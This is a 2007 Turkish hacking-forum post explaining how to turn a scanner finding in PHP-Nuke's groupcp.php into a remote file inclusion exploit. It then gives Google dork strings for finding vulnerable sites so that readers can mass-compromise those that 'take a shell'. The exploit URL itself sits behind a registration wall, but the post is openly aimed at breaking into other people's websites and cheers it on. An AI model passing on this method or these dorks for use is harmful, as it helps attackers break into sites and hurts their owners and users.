Bilmeyenlere RFI Kullanımı ve Google Dork [RooT Geri Döndü :P zBiDy BRuTaLL :)]

RooT · 15.07.07, 15:15

Arkadaşlar mesela milw0rm de önünüze böyle bi açık geldi :
FOUND: include($phpbb_root_path . 'extension.inc'); in V/html/modules/Forums/groupcp.php

Çoğu kişi açık yok diye kapatır ekranı fakat bundan sonra her açık işinize bayağı bi yarayacaktır.

FOUND: include($phpbb_root_path . 'extension.inc'); in V/html/modules/Forums/groupcp.php

Burdan Nasıl xpl çıkartabiliriz :

FOUND: include($phpbb_root_path . 'extension.inc'); in V/html/modules/Forums/groupcp.php

/modules/Forums/groupcp.php dosyasında kod hatası oluşmuştur $ dan sonrakini alıyoruz aynen böyle

[Sadece Kayıtlı Kullanıcılar Linkleri Görebilir. Üye Olmak İçin Tıklayın...] Adresi

Birde Google da nasıl aratıcaz diye bakıyosunuz anlamayıp kapatıyosunuz.

GoogLE dork bu olur (denedim) : /modules/Forums ya da /Forums/

Bunlardan çıkan siteleri hackledik diyelim.Daha çok site mi hacklemek istiyoruz.O zaman bu açığın hangi scriptte olduğuna bakıcaz.
MyeGallery , Forums , ... vs
Bu açıklar Php-nuke scriptinde bulunur.
Hemen google a Php-Nuke , Php Nuke , PhpNuke ..vs aratıyoruz.Shell yiyen siteleri afiyetle hackliyoruz
Kolay Gelsin...

Bu sorunu zamanında bende yaşıyordum çözümünü yine ben buldum.Siz Tayfalılar zorluk çekmeyin diye anlatıveriyim dedim.

Saygılarla..

__________________

Contact: zb.sp@w.cn

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder
Stil
Normal Hybrid-Şeklinde gösterime geç Ağaç şeklinde gösterime geç